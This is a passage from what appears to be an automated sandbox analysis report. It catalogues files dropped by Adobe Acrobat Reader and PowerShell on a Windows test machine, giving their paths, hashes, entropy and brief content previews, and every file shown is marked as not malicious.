Preview:	{"analyticsData":{"responseGUID":"916770cd-8811-4d6c-bd0a-0c8ecdf3f45e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751693761,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.270685921095353
Encrypted:	false
SSDEEP:	6:YEQXJ2HXqtO8DdVoZcg1vRcR0Y7RDoAvJfshHHrPeUkwRe9:YvXKXakZc0vdGUUUkee9
MD5:	FD5E9963C94982D1738EBC3FCACA342B
SHA1:	10B253F5D621F61956024C4D84CDC73263380F24
SHA-256:	95A51F53ED9229CEB2390104C697E9B1323E76BF36A0B195CB22D85A40BD1058
SHA-512:	E240164B90ECE74CF4E26D7D635EFC692166DDB603808CE81BCA7CB88880C16F1318D867B86DA7722504DE271A7294637C2C26F82D85896BFF96C2E44D9DEB69
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"916770cd-8811-4d6c-bd0a-0c8ecdf3f45e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751693761,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.287667417354694
Encrypted:	false
SSDEEP:	6:YEQXJ2HXqtO8DdVoZcg1vRcR0Y7RDoAvJTqgFCrPeUkwRe9:YvXKXakZc0vdGTq16Ukee9
MD5:	7E2E76DAD62DCA86665A5B22CC80C2D2
SHA1:	67B3D028C67D6C839209880FDB872D777A4CC3BF
SHA-256:	0C415BC7F2A2A54841C1EBEC43E675B616EB48D24E0F4F4BF9C1C52110BED7E4
SHA-512:	DC3CC2E4053E78D11E2893635F546088A03164C61BC0F05B6900C074B037BDE1A52A1CF51E49E829C5290D7A80576ECC8AF9C8A6008A233A87A376608D2632D1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"916770cd-8811-4d6c-bd0a-0c8ecdf3f45e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751693761,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.137506693474516
Encrypted:	false
SSDEEP:	48:YmWU46XXiRr3ez+Q2eRolyc62eP7TOh9Tu:OU46niRr3ez+QwAcKW/K
MD5:	4C4440B6B605E88AF46F8C47B6D16F5A
SHA1:	452BD277D2C818C4B2646B4B18A126BF75FA5A2B
SHA-256:	2478E8DC5AF0D1594A01BA94802A08615CB238CE620AAB8D7945098D3287B684
SHA-512:	BBA02E5DEDD68D8432A0FBA847008543EB328ACE7A12F4D2FFBE6E80987F8F8EE313598EE62D3CAF754C9D0B04B63EDB433DB6309F6EAC11ED0445368E1CB2B1
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"58c0e763352d2d09949aa5a7cafd827d","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736572337000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"6f71ca932be1ebeec7be15e6fbe625a6","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736572337000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"4a5fbad4f12b317e64dfb142286f9dcb","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736572337000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"afba3335b55449c5740324762f8201ec","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736572337000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"986360a76adcc4d2481b040e7a136cfe","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736572337000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"e9c53bed749996d56ae755f2a8709657","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1888654614661323
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUsSvR9H9vxFGiDIAEkGVvpm:lNVmswUUUUUUUUs+FGSItS
MD5:	6804E74372E4DC4EFA17E99A578727CB
SHA1:	34223420EB339218AD9400582EEA31D718CBB004
SHA-256:	FA5C4BE8C07940B0199164F74CAF50225716EB2962997B57A88D1DF8B8412377
SHA-512:	6573AEE73835853D6CC17AB64AEAE12CB2DA5789CC2E527F9305B76EBC0E3C3E3FE7609ED5AD3280999FD77E0E6C99C16D5CE5B2606F69A9DE764247EE38F16F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.608749807642502
Encrypted:	false
SSDEEP:	48:7ME4KUUUUUUUUUU+vR9H9vxFGiDIAEkGVvFqFl2GL7msl:73UUUUUUUUUUCFGSItTKVmsl
MD5:	AA832BA9BC1223E7666BE387353B0907
SHA1:	A5F2D92B13B4F2BAD8157CAC30BD67AAB0E38B89
SHA-256:	69181F51575C80C23420EFA25BE69E156BA63F4DD93689F256DC7B8EE181ADFE
SHA-512:	31E36503725AA66B624180F051F7C3E61E31872F47036A8BCD3B7EFB7D9532D00ACDCFBEA3223ED0CCBAF6A17D61FD4CCBA0E98335B0C1F02E0BD8EA6351E75D
Malicious:	false
Preview:	.... .c......V........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgYnfHlAa3NEg+ttknRId6Ff0e0GWNFYyu:6a6TZ44ADESfHlAaN+ttkmaf0e56K
MD5:	917C78E67C36C5343C426ED55816628B
SHA1:	311E919F26DD1B46E370A59AEE43809636B24969
SHA-256:	A49AC1F7B152C0397CCD580A8DA5991A40C5E5BC8E890CAC413CD917013757C0
SHA-512:	E8D1181BB6A1EC0766F3E4D1F5AE7F2FF1F46D4C3BD55FF798411AC14B9B9B2D1D1F84F11A653356C7DB00F18BB5DBE91435929ABA28DC4FC0ACABDEF4F7E60A
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:Nllluldhz/lL:NllU
MD5:	03744CE5681CB7F5E53A02F19FA22067
SHA1:	234FB09010F6714453C83795D8CF3250D871D4DF
SHA-256:	88348573B57BA21639837E3AF19A00B4D7889E2D8E90A923151AC022D2946E5D
SHA-512:	0C05D6047DBA2286F8F72EB69A69919DC5650F96E8EE759BA9B3FC10BE793F3A88408457E700936BCACA02816CE25DD53F48B962491E7F4F0A4A534D88A855E6
Malicious:	false
Preview:	@...e.................................L..............@..........

C:\Users\user\AppData\Local\Temp\MSI3ba03.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.486646639490294
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88ClflBw:Qw946cPbiOxDlbYnuRKdolBw
MD5:	68E747BBD748ED7228A4A441768ED5EA
SHA1:	4FD6C4CA301FDB6B866831EF53833249E66B2F00
SHA-256:	D8EF48C3007829DAF07255059D31B8DE3939C0FE892CF5ADC8B2D84C878D2363
SHA-512:	D89D259B1DD0DBE8317301330C2DDC3050A0E282C0B4AED2CE87D1F51A8DA3CAF22306C87C603808B2769D11E2F0C82D163721C34390F675CF255FBC164E4A7A
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.0.:.1.2.:.1.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wxtag3fz.sfs.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xorwp4vr.xef.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91y5xvfu_1huwm1v_5ms.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 00-12-13-784.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.363248257322497
Encrypted:	false
SSDEEP:	384:wT3uv7Ci73og5aIs/KCYdnNAImNyPZB7Cla03vF7W8uPKeghOsoFoVg3JCs+au9y:TEI
MD5:	F017824D8B589BC1EB0C58ADC677D1F1
SHA1:	C6B1B4E73D2EE18810FD38B8FBE58C513CA3AB32
SHA-256:	72239EC3F2105595165705E7246A494CF590599ED4440B914B54CF1C387FFF1F
SHA-512:	5E64DB5800C42A66D7ECCA66151469010101B7200757C0B8C694419CCF347FFC562F3ABFA5B95A26E755EB5803761E717DEF8B109DD478CFA5A09D2598A433E2
Malicious:	false
Preview:	SessionID=82ac88b8-96ea-49d3-9cd8-63f20d7b0b0b.1736572333817 Timestamp=2025-01-11T00:12:13:817-0500 ThreadID=8144 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=82ac88b8-96ea-49d3-9cd8-63f20d7b0b0b.1736572333817 Timestamp=2025-01-11T00:12:13:818-0500 ThreadID=8144 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=82ac88b8-96ea-49d3-9cd8-63f20d7b0b0b.1736572333817 Timestamp=2025-01-11T00:12:13:818-0500 ThreadID=8144 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=82ac88b8-96ea-49d3-9cd8-63f20d7b0b0b.1736572333817 Timestamp=2025-01-11T00:12:13:818-0500 ThreadID=8144 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=82ac88b8-96ea-49d3-9cd8-63f20d7b0b0b.1736572333817 Timestamp=2025-01-11T00:12:13:818-0500 ThreadID=8144 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.384102784825814
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rN:Z
MD5:	4F3208900978937E13D5FDA2CAE2EF0F
SHA1:	B009EA8921397A05C08DD150DFB460A78A7FC253
SHA-256:	0A4D37D4FCBB4F2C95D8F089568F205FBC713E7E643CAF0101B6BCC56EF385FD
SHA-512:	57FA712969A261ACEFB8742FC9262DD3CF54AB73504B8D51D071AA824BC5A0DB19DAC6AA64F4D0046CA06A282489B3488B1B30ECA517091B7B5E08353478E01B
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\5b902e3a-2884-4680-a65b-6027d25fa0b7.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7ouWLaGZ7wYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVuWLaGZ7wZGk3mlind9i4ufFXpAXkru
MD5:	13F55292D0735B9ABD4259B225D210FC
SHA1:	810CC5D545BFA11D2825F6E1DFA69176794DA7EC
SHA-256:	8C3FFEA68963D108599E8C5AE20DE6E9C473BF33197A03A9A7DDCD0F25A6C7F6
SHA-512:	4F54EDA9EB61172A5243DAA718CFF42A0BF079CC0FA7BE3553CC8B79772763B49F530DD6B54A9D595C4F46B8416ADF7D5C8DAD58FC43A5C651258E669DC375DA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\ad854ee2-d704-40bc-b390-5cfa448a4456.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	8B9FA2EC5118087D19CFDB20DA7C4C26
SHA1:	E32D6A1829B18717EF1455B73E88D36E0410EF93
SHA-256:	4782624EA3A4B3C6EB782689208148B636365AA8E5DAF00814FA9AB722259CBD
SHA-512:	662F8664CC3F4E8356D5F5794074642DB65565D40AC9FEA323E16E84EBD4F961701460A1310CC863D1AB38849E84E2142382F5DB88A0E53F97FF66248230F7B9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\c99bbb70-507a-4e65-92bc-4c2b8bc2851d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\d6c4ca28-2cd4-4357-b0a8-d4d3cf368856.tmp

Download File

